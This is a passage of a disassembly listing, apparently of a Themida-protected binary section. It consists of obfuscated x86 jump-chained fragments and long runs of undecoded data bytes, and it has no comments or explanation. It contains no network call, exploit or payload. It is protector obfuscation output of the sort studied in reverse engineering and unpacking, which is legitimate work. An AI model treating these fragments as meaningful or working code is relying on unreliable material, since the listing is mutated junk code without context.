; --------------------------------------------------------------------------- loc_53BD76: ; CODE XREF: Themida_:0053FD33j sub bl, 0B2h sub bl, 69h movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- dw 0C361h dd 665152ACh, 88A7B050h, 0FE5866C5h, 0EE4BE9CDh, 0EB81FFFFh dd 34403E3Bh, 83242C8Bh, 0C6E904C4h, 0ADFFFFDFh, 0F2685051h dd 8B4D3455h, 61E92404h, 0F7FFFFEFh, 1C083D0h, 2166735h dd 58C78951h, 8C0CC781h, 96E9233Fh db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_53BDCF: ; CODE XREF: Themida_:005384A4j pop esp sub [esp+4], ecx jmp loc_53B161 ; --------------------------------------------------------------------------- aIthly db '┴Бh╚y',0 align 10h dd 0BD242C89h, 4, 4906C281h, 0C281193Dh, 532E30A0h, 0EA81EA01h dd 532E30A0h, 558FE9h, 8B666400h, 4EC8102h, 89000000h dd 0E6892434h, 119C68h, 243C8900h, 7E0A86BFh, 0BA524763h dd 2DEA27B8h, 326EE9h db 0 ; --------------------------------------------------------------------------- loc_53BE29: ; CODE XREF: Themida_:0053B738j sub eax, 5BB0005Ch add ecx, eax jmp loc_53C6D6 ; --------------------------------------------------------------------------- db 0BBh, 0BEh, 5Fh dd 0D4E9ACF7h, 0F7FFFFEDh, 7AFA68F1h, 14890000h, 0E99C5024h dd 440Dh, 0C6815E54h, 4, 6F9CB850h, 0BD550CB8h, 0F3479066h dd 2C8BE801h, 4C48124h, 81000000h, 0B85CA6C6h, 97EE814Dh dd 297D3523h, 97C681C6h, 817D3523h, 0B85CA6EEh, 24048B4Dh dd 273DE953h, 0EC810000h, 4, 0E9241489h, 6FB1h, 0C589555Ah dd 8B5DE989h, 89532404h, 4C381E3h, 0E9000000h, 0FFFFE603h dd 2833C180h, 0F00059C8h, 1DC9E9h, 242C8900h, 19DE9h, 240C3300h dd 86DE9h, 8EDC100h, 59E4C581h, 0ED8145DBh, 0DAC991EAh dd 0FF5DE801h, 81592434h, 4C4h, 55CE6800h, 0C890000h, 4A31B924h dd 0E9874F11h, 0FFB1ACE9h, 2434FFFFh, 5024048Bh, 4EC81h dd 4CE90000h, 81FFFFF4h, 0EB48A7CFh, 52DFF718h, 65820EBAh dd 5AD73189h, 0FFF106E9h, 95E58FFh, 34FF1C4Fh, 0C4835924h dd 0AE84E904h, 0EA81FFFFh, 51A17916h, 1E35E9h db 0 ; --------------------------------------------------------------------------- loc_53BF49: ; CODE XREF: Themida_:0053CCE7j sub eax, 7AAD224Ah jmp loc_538C98 ; --------------------------------------------------------------------------- loc_53BF53: ; CODE XREF: Themida_:0053861Bj or ecx, 60FA1CC8h add ecx, 0BFA32A0Dh or edi, ecx pop ecx sub edi, 0EFA9861Eh sub eax, edi pop edi push ecx sub esp, 4 jmp loc_540D4D ; --------------------------------------------------------------------------- loc_53BF74: ; CODE XREF: Themida_:0053DB47j mov edx, [esp] add esp, 4 neg edx add edx, 0D611A75Eh mov edi, edx pop edx add ebx, edi pop edi push esi mov esi, 298E2479h add edx, esi pop esi sub edx, 1644947h sub edx, eax push eax mov eax, 1644947h add edx, eax push dword ptr [esp] pop eax push ebx mov ebx, esp push ebp mov ebp, 4 jmp loc_537FD8 ; --------------------------------------------------------------------------- db 80h dd 0F588B7C6h, 66EB005Ah, 42E95259h, 1000059h, 98C381D3h dd 5A71EA03h, 31241C33h, 1C33241Ch, 4215C24h, 0E3E99C24h db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53BFDF: ; CODE XREF: Themida_:00539B2Dj inc ecx sub ecx, 0D6A58245h mov ebp, ecx pop ecx sub [esp+4], ebp jmp loc_53F704 ; --------------------------------------------------------------------------- dw 0EF83h dd 0C349E904h, 0E951FFFFh, 4501h, 0E9241489h, 4ADDh, 5B66FE08h dd 66ACB753h, 0A9B45052h, 0FE05E4C0h, 0E0C480CCh, 881AEC80h dd 0C28058E2h, 5945E9B4h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53C02A: ; CODE XREF: Themida_:0053934Fj add ebx, 5CE363B4h jmp loc_54129E ; --------------------------------------------------------------------------- align 2 dw 80D3h dd 5A666BEBh, 0E97BC380h, 486h, 7680C581h, 2EE9613Fh, 1FFFFB0h dd 5F04247Ch, 3D240481h, 1027B35h, 2C812404h, 7B353D24h dd 572AE902h, 0E5890000h, 2C6B68h, 241C8900h, 4BBh, 59C58100h dd 0E910D365h, 0FFFFC909h, 2E93BD55h, 0EA016766h, 81C2295Dh dd 662E93EAh, 2DEA8167h, 58162616h, 8105E2C1h, 0D245C9CAh dd 0CA814259h, 27EF0EE2h, 2831E9h db 0 ; --------------------------------------------------------------------------- loc_53C0B1: ; CODE XREF: Themida_:00537F17j mov eax, [esp] add esp, 4 jmp loc_53F64C ; --------------------------------------------------------------------------- loc_53C0BF: ; CODE XREF: Themida_:0053F9BDj pop dword ptr [esp] pop esp push edi push 6E5Dh mov [esp], ecx mov ecx, 44AA22FAh add ecx, 1DCB5B1Bh sub ecx, 51C3587Bh mov edi, ecx pop ecx or edi, 2A912A93h jmp loc_53BCFC ; --------------------------------------------------------------------------- db 21h dd 0F28159CAh, 69799BDCh, 3238E9h, 240C8B00h, 0E904C483h dd 5C74h, 0E4C0C4B4h, 0FED4F603h, 331DE9C4h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53C112: ; CODE XREF: Themida_:0053B70Bj mov ebx, 87774BCh jmp loc_537EA8 ; --------------------------------------------------------------------------- dd 0FEBFB151h, 0A9E180C9h, 0C0C6E980h, 0E9C007E9h, 0B4E98003h dd 0E959CB00h, 0FFFFE927h, 0E9240C8Bh, 1E8Bh, 2851EB80h dd 29E95BD9h, 8900003Dh, 2BF243Ch, 8979ED02h, 0BB535FF9h dd 6B4C2EADh, 1C8BD829h, 0E7895724h, 4C781h, 0C7810000h dd 4, 8B243C87h, 0DBE92424h db 3 dup(0) ; --------------------------------------------------------------------------- loc_53C17B: ; CODE XREF: Themida_:005388ACj add ebx, eax jmp loc_53B098 ; --------------------------------------------------------------------------- dw 5D58h dd 681EE9h, 148B6600h, 3FE96824h, 3C890000h, 0E95F5424h dd 0FFFFF6C9h, 4026C681h, 0F729E810h, 8324348Bh, 91E904C4h dd 56FFFFBBh, 11240481h, 0E9023A62h, 0FFFFC97Ch, 6804C483h dd 2041h, 0E9242C89h, 0FFFFCFFFh, 10F2C181h, 0C10164C0h dd 10F2E981h, 0C18164C0h, 35146B64h, 74FF5158h, 0C8B0424h dd 110DE924h, 0E9810000h, 1B73656Dh, 5D2434FFh, 8704C483h dd 0D35C240Ch, 0E99C2424h, 0FFFFAD5Dh ; --------------------------------------------------------------------------- loc_53C208: ; CODE XREF: Themida_:00542E7Cj add dword ptr [esp], 7697646h mov eax, [esp] push 4C20h mov [esp], ebx mov ebx, esp jmp loc_5398CA ; --------------------------------------------------------------------------- loc_53C221: ; CODE XREF: Themida_:00539ED6j push dword ptr [esp] pop eax add esp, 4 push ebx jmp loc_53F08F ; --------------------------------------------------------------------------- db 29h, 0EBh, 81h dd 9D319AEBh, 1C875D63h, 0DBE95C24h, 53000044h, 0D472E1BBh dd 81D3F755h, 4A6691F3h, 0C626E97Dh, 2F05FFFFh, 0E954AB2Eh dd 6681h ; --------------------------------------------------------------------------- loc_53C260: ; CODE XREF: Themida_:005380F5j push eax mov eax, 0CC79DE56h xor ebp, eax pop eax or edx, ebp mov ebp, [esp] add esp, 4 neg edx sub esp, 4 mov [esp], edi mov edi, 67737C1Ah not edi sub edi, 17F54A30h shr edi, 5 neg edi jmp loc_53EAE2 ; --------------------------------------------------------------------------- loc_53C293: ; CODE XREF: Themida_:00538961j pop ebx jmp loc_53ADBA ; --------------------------------------------------------------------------- db 80h, 0EAh, 0E2h dd 30E6EA80h, 0FBE95AD1h, 0B8000069h, 10E62521h, 0E958C329h dd 0AA1h, 1B7DC681h, 0B4E9BFFDh, 33000006h, 248B2414h dd 5D26E924h, 0FF530000h, 0FF042474h, 9EE92434h, 31FFFFF5h dd 47E92434h, 0B2000023h, 5609E923h, 7CBA0000h, 81371F39h dd 7C31E5F2h, 681CE948h, 0BF570000h, 4, 835FF801h, 52E904E8h dd 68FFFFC8h, 78827DF0h, 82140558h, 0C701877Dh, 582434FFh dd 0E904C483h, 41F3h, 0E930FF66h, 1780h, 2FF368h, 240C8900h dd 0FFFFBD55h, 4481FFFFh, 7D40424h, 6C290BC1h, 6C810424h dd 7D40424h, 595D0BC1h, 21B1E9h, 81C32900h, 0E27018EBh dd 0E9C38139h, 6847D925h, 4A54h, 2333E9h db 0 ; --------------------------------------------------------------------------- loc_53C369: ; CODE XREF: Themida_:0053CE2Ej pop esi sub esp, 4 mov [esp], esi jmp loc_53B420 ; --------------------------------------------------------------------------- loc_53C378: ; CODE XREF: Themida_:00538441j add esp, 4 pop dword ptr [esp] jmp loc_53EDA2 ; --------------------------------------------------------------------------- db 1 dd 50E92DD8h, 530543E5h, 57211021h, 13C868h, 242C8900h dd 0BC7EAC68h, 24E95D44h db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53C3A3: ; CODE XREF: Themida_:0053BCEFj add edi, ebx pop ebx xchg edi, [esp] pop esp jmp loc_536DC2 ; --------------------------------------------------------------------------- db 66h dd 5724048Bh, 4D32E9h, 91E95A00h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_53C3BF: ; CODE XREF: Themida_:0053B162j pop ebx add ebx, 55BA3190h push ecx push 2612381Ah mov ecx, [esp] add esp, 4 shr ecx, 1 xor ecx, 423E746Eh mov [edi+20h], ecx pop ecx sub esp, 4 mov [esp], ecx push 368F6209h pop ecx push ebx mov ebx, 7A274167h sub ebx, 5F272A78h dec ebx shr ebx, 4 add ebx, 191E0E2Bh sub ebx, 0E4B3EFBEh xor ecx, ebx pop ebx push eax mov eax, 0FFFFFFFFh add ecx, eax pop eax push ebx jmp loc_538E33 ; --------------------------------------------------------------------------- loc_53C41B: ; CODE XREF: Themida_:00542B3Bj push esi mov esi, 1 jmp loc_53BA5E ; --------------------------------------------------------------------------- dw 0C381h dd 3C105A95h, 56E1E9h, 18C38100h, 0E967F265h, 0FFFFC772h dd 0EDC0D5F6h, 7CED8006h, 0E2F580h, 0E10859ECh, 0FFF1E6E9h dd 33EA81FFh, 0E939E57Bh, 0FFFFD06Fh, 33242C31h, 248B242Ch dd 66F9F624h, 68CCB60Fh, 73FCh, 54241C89h, 0BEBA525Bh dd 0E972C90Ah, 562h ; --------------------------------------------------------------------------- loc_53C480: ; CODE XREF: Themida_:005399DAj push 4EFEh mov [esp], ebx push ebx mov ebx, 3B8D1C10h jmp loc_53B316 ; --------------------------------------------------------------------------- loc_53C493: ; CODE XREF: Themida_:005395BBj mov esi, [esp] jmp loc_5383B2 ; --------------------------------------------------------------------------- db 30h dd 0E95351D8h, 0FFFFCB1Ch, 6624248Bh, 2404BB0Fh, 0A910E99Ch dd 0DE68FFFFh, 0E9000024h, 0FFFFCD1Ch, 5C5868h, 48F5400h dd 0F9C8E924h, 0C300FFFFh, 817BEB80h, 2ECh, 4896600h, 80B25224h dd 6CE9CAFEh, 0FFFFFFC6h, 48B2434h, 0E1895124h, 4C181h dd 69E90000h, 33000017h, 815C240Ch, 4C2h, 2BF5700h, 1000000h dd 50BBE9FAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53C50E: ; CODE XREF: Themida_:0053D27Ej pop edx push ebp mov ebp, 30E82E7Ch dec ebp jmp loc_5376C4 ; --------------------------------------------------------------------------- db 83h dd 1C8704C3h, 0B1685C24h, 0E9000000h, 0FFFFBBFFh ; --------------------------------------------------------------------------- loc_53C52C: ; CODE XREF: Themida_:0053A3D5j add esi, 0F9FFF9F0h and eax, esi mov esi, [esp] push 6F77h jmp loc_537622 ; --------------------------------------------------------------------------- loc_53C541: ; CODE XREF: Themida_:0053A4D7j mov [esp], esi mov esi, 9DE6491h sub esi, 1 shl esi, 8 push ebp mov ebp, 54816374h jmp loc_5398A1 ; --------------------------------------------------------------------------- dw 0FD89h dd 0DAF5815Fh, 4554E318h, 6BD2F581h, 0F8E91A77h, 0B3000041h dd 66DE3040h, 0B753665Bh, 0FA8AE9E3h, 8966FFFFh, 0B5512414h dd 59EE88EBh, 0F3E9D6F6h, 68FFFFABh, 0AD6h, 81242489h dd 42404h, 13E90000h, 1000020h, 0BE565BD8h, 3B6D684Ah dd 1809C681h, 52507164h, 903553BAh, 3E2C10Fh, 0EFF28142h dd 0E960C62Bh, 0FFFFFE89h, 3A61BA52h, 0D1017A2Ch, 0BF57585Ah dd 2, 3C8BF901h, 4C48124h, 68000000h, 7CA4h, 0FF240C89h dd 59042474h, 5C24048Fh, 0E9595451h, 0FFFFA9D3h ; --------------------------------------------------------------------------- loc_53C5FC: ; CODE XREF: Themida_:005421D9j sub esp, 4 jmp loc_537D94 ; --------------------------------------------------------------------------- aRsx@ db 'RИ∙@',0 dd 58C22100h, 3C90E9h, 0C8B5400h, 1325E924h, 88510000h dd 59EF88E5h, 5F90E9h, 74FF5300h, 8F5B0424h, 0E95C2404h dd 41B8h ; --------------------------------------------------------------------------- loc_53C638: ; CODE XREF: Themida_:0053CAA7j push edx mov edx, 45005CEDh xor edx, 45005CE9h add edi, edx pop edx jmp loc_53BCE9 ; --------------------------------------------------------------------------- dd 18E95351h, 88FFFFC6h, 88D4F6CCh, 805866E1h, 0C1805AC1h dd 8BCA88F5h, 0C481240Ch, 4, 0E902EAC0h, 0E38h, 0E9D830ACh dd 0FFFFB879h ; --------------------------------------------------------------------------- loc_53C67C: ; CODE XREF: Themida_:0053E122j pop ebx xchg eax, [esp] mov esp, [esp] not ebx xchg ebx, esi xor eax, esi xor esi, eax xor eax, esi push esi push 6B4Ah mov [esp], edx mov edx, 5DED058Ch mov esi, 5DED058Dh sub esi, edx push dword ptr [esp] jmp loc_5380C4 ; --------------------------------------------------------------------------- loc_53C6AA: ; CODE XREF: Themida_:00537656j push ecx jmp loc_53D09A ; --------------------------------------------------------------------------- dd 6E67EABAh, 0D325E902h, 575DFFFFh, 2E9DE9h, 58E60800h dd 2848C680h, 28F3E9F0h, 0C4830000h, 674E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53C6D6: ; CODE XREF: Themida_:0053BE30j mov eax, [esp] add esp, 4 xchg ecx, [esp] pop esp push esi mov esi, 20A90E6Dh dec esi sub esi, 4D054881h push edx push ebp mov ebp, 0C171B4Ch jmp loc_53D242 ; --------------------------------------------------------------------------- aS4 db ')кИ4-',0 dw 8100h dd 4C4h, 8ABE5600h, 81255A26h, 230A01EBh, 50F3013Ah, 0FFE186E9h dd 241C31FFh, 8B241C33h, 34FF2424h, 0FDB5E924h, 3C8BFFFFh dd 4C48124h, 52000000h, 42474FFh, 1C42E95Ah, 0C310000h dd 5A94E924h, 0BF570000h, 28841D5Eh, 0EF81DFF7h, 977F69F0h dd 555FFA01h, 99521EBDh, 5DEA3163h, 0E7AC281h, 0E2C149C5h dd 6193E907h, 34310000h, 2434FF24h, 4C4835Fh, 0FFE1FAE9h dd 5BDE01FFh, 17CBC681h, 0EE296E18h, 17CBEE81h, 0DBE96E18h dd 8100005Dh, 800C8FF3h, 0FC84E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53C7A2: ; CODE XREF: Themida_:0053ED83j sub esp, 4 jmp loc_53DB19 ; --------------------------------------------------------------------------- db 80h, 0EBh, 7Fh dd 5B66D828h, 52240C8Bh, 0BB53E289h, 4, 835BDA01h, 148704C2h dd 0E41EE924h, 8AB1FFFFh, 2B21E9h, 0C8016600h, 0C8685966h dd 89000060h, 0EAE9242Ch, 8B000046h, 0CA682404h, 89000055h dd 5B54241Ch, 6FEA6857h, 0EDE90000h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53C7FF: ; CODE XREF: Themida_:00540742j mov edi, 24194241h add ecx, 24C30E33h jmp loc_53F421 ; --------------------------------------------------------------------------- loc_53C80F: ; CODE XREF: Themida_:0053F41Cj pop ebx jmp loc_541220 ; --------------------------------------------------------------------------- db 0BFh, 2Bh, 3Ah dd 0F78168FFh, 0A2204CC1h, 3C8BFA29h, 4C48124h, 1000000h dd 0F8315AD7h, 81243C8Bh, 4C4h, 4EC8100h, 89000000h, 83532434h dd 0BE904ECh db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53C84B: ; CODE XREF: Themida_:005425B4j push ebx mov ebx, 656A6471h xor ebx, 0C0D71A7h jmp loc_539749 ; --------------------------------------------------------------------------- dd 6196B850h, 0C3018B53h, 0E924048Bh, 463Fh, 0BE56E389h dd 73252534h, 54DFE9h, 242C8900h, 0F06473BDh, 0E5E58143h dd 4D29F126h, 5382E9h, 54826800h, 24890000h, 24048324h dd 24048F04h, 4BD55h, 6C010000h, 2C8B0424h, 4C48324h, 0E9241C8Bh dd 123Ah, 0E9CF015Bh, 4345h, 0F280CAFEh, 15AAE96Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53C8C6: ; CODE XREF: Themida_:0054033Fj pop esi add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] mov esi, [esp] jmp loc_54103E ; --------------------------------------------------------------------------- dd 0F59CB28h, 34FFC0B6h, 4EC8187h, 89000000h, 5450240Ch dd 40558h, 42D0000h, 87000000h, 248B2404h, 242C8924h, 62B56857h dd 0E95F5B66h, 0FFFFD839h, 4C281h, 0C5E90000h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53C91F: ; CODE XREF: Themida_:005409BEj xor [esp], ebp xor ebp, [esp] mov esp, [esp] push ebx mov ebx, 7974725Fh push 3680h mov [esp], ecx mov ecx, 7973725Fh sub ebx, ecx push dword ptr [esp] jmp loc_53DA20 ; --------------------------------------------------------------------------- db 33h, 4, 24h aLFrsq db '▀$$fRИq%',0 align 2 dw 0EF81h dd 40406BD6h, 243C875Bh, 0E924248Bh, 0FFFFA45Eh, 8324048Fh dd 0FF042404h, 39E92434h, 21FFFFD5h, 569BE9F5h, 815C0000h dd 0DAECECE9h, 8BCD8943h, 0C481240Ch, 4, 0ED81EDD1h, 32F8627Eh dd 75C4E581h, 0EDC17B77h, 7EDC108h, 1AE95357h, 89000031h dd 4B951E0h, 1000000h, 0C08359C8h, 24043304h, 33240431h dd 248B2404h, 83EB8024h, 0FFD1A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_53C9C9: ; CODE XREF: Themida_:0053BAF6j push 36F8h jmp loc_53B9B7 ; --------------------------------------------------------------------------- loc_53C9D3: ; CODE XREF: Themida_:0053B0D0j xchg ebx, [esp] pop esp jmp loc_5422E2 ; --------------------------------------------------------------------------- dd 0A7AEE956h, 0DAF7FFFFh, 10E95253h, 68FFFFF1h, 0B23h dd 5F240C89h, 724D68h, 0E997E900h, 0EE81FFFFh, 7F072ED5h dd 5C0AEE81h, 815A6ACCh, 2C6h, 24343300h, 0E9243431h, 0FFFFD229h ; --------------------------------------------------------------------------- loc_53CA1C: ; CODE XREF: Themida_:0053762Dj push ebx mov ebx, 4AE72261h xor ecx, ebx mov ebx, [esp] jmp loc_538750 ; --------------------------------------------------------------------------- loc_53CA2C: ; CODE XREF: Themida_:00539D12j shl eax, cl push ebx mov ebx, esp add ebx, 4 jmp loc_53DE7E ; --------------------------------------------------------------------------- loc_53CA3C: ; CODE XREF: Themida_:0054048Ej popf retn ; --------------------------------------------------------------------------- dw 0A2E9h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53CA43: ; CODE XREF: Themida_:00539D3Aj push 1F45h mov [esp], ecx mov ecx, esp push edi mov edi, 2577781Dh shr edi, 6 sub edi, 57963F7Eh shl edi, 6 shl edi, 4 or edi, 112B0A7Eh xor edi, 0FF7B8A7Ah add ecx, edi mov edi, [esp] add esp, 4 add ecx, 4 xchg ecx, [esp] pop esp or eax, eax jz loc_53B436 push 7AFh mov [esp], edx jmp loc_53BCB0 ; --------------------------------------------------------------------------- dd offset byte_55C581 dw 55B2h dd 0FFAC8BE9h db 0FFh ; --------------------------------------------------------------------------- loc_53CA9D: ; CODE XREF: Themida_:00537EC4j pop esp or [edi+1Ch], ecx mov ecx, [esp] push edi mov edi, esp jmp loc_53C638 ; --------------------------------------------------------------------------- dd 0BA241489h, 4, 26CDC681h, 0C0E9502Bh db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53CABF: ; CODE XREF: Themida_:0053A680j not edi or edi, 4E4E2A88h neg edi sub edi, 1201112h jmp loc_53F872 ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 2BE90000h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53CAE3: ; CODE XREF: Themida_:0053A0D7j mov edi, 1FBA4C09h push edx mov edx, 4BFD596Eh jmp loc_53A0EE ; --------------------------------------------------------------------------- db 8Bh dd 1068243Ch, 8900006Ah, 0E189240Ch, 4C181h, 0C1830000h dd 240C8704h, 74FF515Ch, 8F590424h, 248B2404h, 24048924h dd 43ABE9h, 4E98100h, 87000000h, 248B240Ch, 243C8924h dd 0EF67E951h, 665CFFFFh, 2668F1F7h, 8900005Ch, 14E9241Ch dd 6600003Ch, 6824048Bh, 3E4Ch, 30F7E9h db 0 ; --------------------------------------------------------------------------- loc_53CB55: ; CODE XREF: Themida_:0053A104j and edx, edi pop edi jmp loc_540962 ; --------------------------------------------------------------------------- db 0F7h, 0DDh, 0E9h dd 0FFFFD8F8h, 8704EE83h, 248B2434h, 3FADE924h, 66680000h dd 8900006Fh, 0F2BD242Ch, 535AD554h, 4E6580BBh, 0A1F3815Bh dd 29748318h, 0D53BE9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53CB92: ; CODE XREF: Themida_:0053A4E2j add esi, ebx push dword ptr [esp] pop ebx jmp loc_541372 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0E2C0BEB2h, 80DAF606h, 0E2C011C2h, 0F6E7E903h, 0E95AFFFFh dd 3145h ; --------------------------------------------------------------------------- loc_53CBB8: ; CODE XREF: Themida_:005386E3j pop ebp or ebx, esi jmp loc_53AEF7 ; --------------------------------------------------------------------------- loc_53CBC0: ; CODE XREF: Themida_:005409F3j mov bl, 0Bh shr bl, 8 shr bl, 5 jmp loc_53EB89 ; --------------------------------------------------------------------------- db 68h, 8Bh, 5Fh dd 4EE90000h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53CBD7: ; CODE XREF: Themida_:0053A951j push edi mov edi, 0DBA7DF4h sub edi, 7F3F613Ch jmp loc_53E0A1 ; --------------------------------------------------------------------------- dd 60760BEh, 5EF78956h, 4803EF81h, 0DFF72841h, 0C882C781h dd 0FD895A57h, 20C5815Fh, 0E9429DD9h, 501Dh, 730EE781h dd 0E7C16C54h, 0CD62E908h, 0C681FFFFh, 4, 0E904C683h, 0FFFFC177h dd 0A0C7814Fh, 8992613Fh, 2434FFFDh, 4C4815Fh, 0E9000000h dd 3717h, 0E0895058h, 0FFE305E9h, 0A5E954FFh db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_53CC4F: ; CODE XREF: Themida_:00542C92j and eax, ebp mov ebp, [esp] push ebx push esp pop ebx add ebx, 4 push ebx mov ebx, esp push ecx mov ecx, 458617Fh shr ecx, 3 add ecx, 0FF74F3D5h jmp loc_540E9A ; --------------------------------------------------------------------------- dd 4C4835Ch, 9C240431h, 0FFA141E9h, 0E932FFFFh, 0FFFFA13Ah ; --------------------------------------------------------------------------- loc_53CC88: ; CODE XREF: Themida_:0053A59Aj mov ecx, edi push dword ptr [esp] pop edi jmp loc_538AE2 ; --------------------------------------------------------------------------- loc_53CC93: ; CODE XREF: Themida_:0053F6BFj xchg eax, [esp] pop esp push edi mov edi, esp add edi, 4 jmp loc_541F71 ; --------------------------------------------------------------------------- db 28h, 0D0h, 8Bh dd 0C4832414h, 0A5B25204h, 0FE08E2C0h, 0D0D0E9CAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53CCBA: ; CODE XREF: Themida_:0053B58Cj pop esi push 0D25h mov [esp], edx sub esp, 4 mov [esp], ebx mov ebx, 203A9C9Bh mov edx, ebx mov ebx, [esp] add esp, 4 push edx mov edx, 3206627Ch sub eax, edx pop edx sub eax, edx push edi mov edi, 3206627Ch jmp loc_53BF49 ; --------------------------------------------------------------------------- dd 4C38359h, 8B241C87h, 51662424h, 0FFD1F8E9h, 0EDEB81FFh dd 810D6934h, 860283F3h, 0B4CB8139h, 502FFB0Eh, 40E2E9h dd 0F9895800h, 0E9243C8Bh, 0FFFFDD93h, 3E89E956h, 8B660000h dd 0CF682404h, 0E900001Ah, 4727h, 66D82966h, 66709705h dd 6633302Dh, 58B96651h, 0FA8BE901h, 0F031FFFFh, 5224348Bh dd 60BBE9h, 81C30100h, 0E62521C3h, 2434FF10h, 3F11E958h dd 0F8000000h, 3059665Bh, 0C0B60FC3h, 6887048Dh, 661Dh dd 0E9240489h, 0FFFFD23Eh, 4C481h, 0C6810000h, 4, 0FFE70FE9h dd 240487FFh, 0A028E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53CD9A: ; CODE XREF: Themida_:0053E867j mov ebx, 28h add ebx, 60E8707Fh add ebx, edi push 6D72h mov [esp], esi push esp mov esi, [esp] add esp, 4 add esi, 4 jmp loc_53F4A0 ; --------------------------------------------------------------------------- db 66h, 68h, 6Dh dd 0F7B4E929h, 0DE29FFFFh, 719FEE81h, 0E95B02D2h, 244h ; --------------------------------------------------------------------------- loc_53CDD8: ; CODE XREF: Themida_:0053E0CBj pop eax and eax, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_53F018 ; --------------------------------------------------------------------------- aQs9? db 'QИ9?',0 dd 81D1F700h, 136C9BF1h, 27E98102h, 526EFA6Ah, 0C350E957h dd 0E588FFFFh, 86D3F658h, 0B75366DDh, 0BED8084h, 0C580FD00h dd 0C05B660Bh, 0C58003E5h, 2C1704C8h, 4E800EBh, 6AE953EBh db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53CE2B: ; CODE XREF: Themida_:005405C8j push dword ptr [esp] jmp loc_53C369 ; --------------------------------------------------------------------------- loc_53CE33: ; CODE XREF: Themida_:0053E4FDj mov [esp], eax mov eax, 4311237Eh xor edi, eax push dword ptr [esp] pop eax add esp, 4 jmp loc_53F4DF ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 89241C89h, 7BE952E3h, 81FFFF9Fh, 7242BDE9h, 0E9C10152h dd 4F44h, 0BEEE8159h, 17F1F06h, 0BEC681DEh, 517F1F06h dd 330890B9h, 0FFCE0133h, 81592434h, 4C4h, 0CDFBE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53CE8A: ; CODE XREF: Themida_:0053D512j pop esi add edi, 4 jmp loc_53BB63 ; --------------------------------------------------------------------------- dw 0B72Dh dd 8B6E3969h, 6EE92434h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53CEA3: ; CODE XREF: Themida_:0053B2CCj add esi, edi jmp loc_5385BC ; --------------------------------------------------------------------------- loc_53CEAA: ; CODE XREF: Themida_:005384E0j sub dword ptr [edx+38h], 8D89E34Dh mov dword ptr [edx+30h], 5EED580Ch sub dword ptr [edx+30h], 0FFFFFFFFh jmp loc_53B7E2 ; --------------------------------------------------------------------------- dd 6424248Bh, 0E9028966h, 0FFFF9EF2h ; --------------------------------------------------------------------------- loc_53CED0: ; CODE XREF: Themida_:0053DF83j mov ebx, 7CDE1E2Ch add ebx, 234E7F0Ch or ebx, 760E2758h and ebx, 79B34027h add ebx, 424B6F80h xor ebx, 10850F27h add ebx, 0B2BB0DF6h add dword ptr [esp+4], 19121367h sub [esp+4], ebx jmp loc_53BD24 ; --------------------------------------------------------------------------- dw 5954h dd 70FF68h, 0C9BAE900h, 0BF68FFFFh, 8900005Dh, 5A542414h dd 0FFEAB0E9h, 68E2DFFh, 24E9293Dh db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53CF2F: ; CODE XREF: Themida_:00537078j mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] jmp loc_53E751 ; --------------------------------------------------------------------------- loc_53CF3E: ; CODE XREF: Themida_:0053EE1Aj xor bl, al movzx eax, al push dword ptr [edi+eax*4] jmp loc_53F23F ; --------------------------------------------------------------------------- db 83h dd 0EB8002C4h, 4AEB80F7h, 97E9C300h, 8B000028h, 0D2E92404h dd 6600001Ch, 6824048Bh, 71C7h, 89240C89h, 595451E1h, 3E3AE9h db 0 ; --------------------------------------------------------------------------- loc_53CF79: ; CODE XREF: Themida_:00542889j xchg eax, [esp] pop esp pop ebx add ebp, 4EFD22B5h jmp loc_53DF73 ; --------------------------------------------------------------------------- loc_53CF89: ; CODE XREF: Themida_:005399FDj mov edi, 73CC2AA9h shr edi, 8 inc edi sub esp, 4 mov [esp], esi mov esi, 6A668DF7h xor edi, esi mov esi, [esp] add esp, 4 push edi add dword ptr [esp], 43390A23h pop ebp sub ebp, 43390A23h pop edi not ebp push ebx mov ebx, 1 add ebp, 61F14E32h add ebp, ebx sub ebp, 61F14E32h jmp loc_539C13 ; --------------------------------------------------------------------------- db 0BFh dd 49CF50D6h, 80A492B8h, 0CD16E9A4h, 0C781FFFFh, 3DF249B8h dd 7D3DBA52h, 0C28115D1h, 7C475BA6h, 5008EAC1h, 1272F9B8h dd 58C2312Ch, 0EA81DAF7h, 43881DC7h, 2A3BF281h, 0D7298303h dd 1BC7815Ah, 0E905FC28h, 0FFFFAC6Fh, 4E5FFE31h, 0D5EBF57h dd 0EEE968DCh, 83000029h, 856804C4h, 89000059h, 2BF243Ch dd 1000000h, 0F6ECE9FAh db 2 dup(0FFh) ; 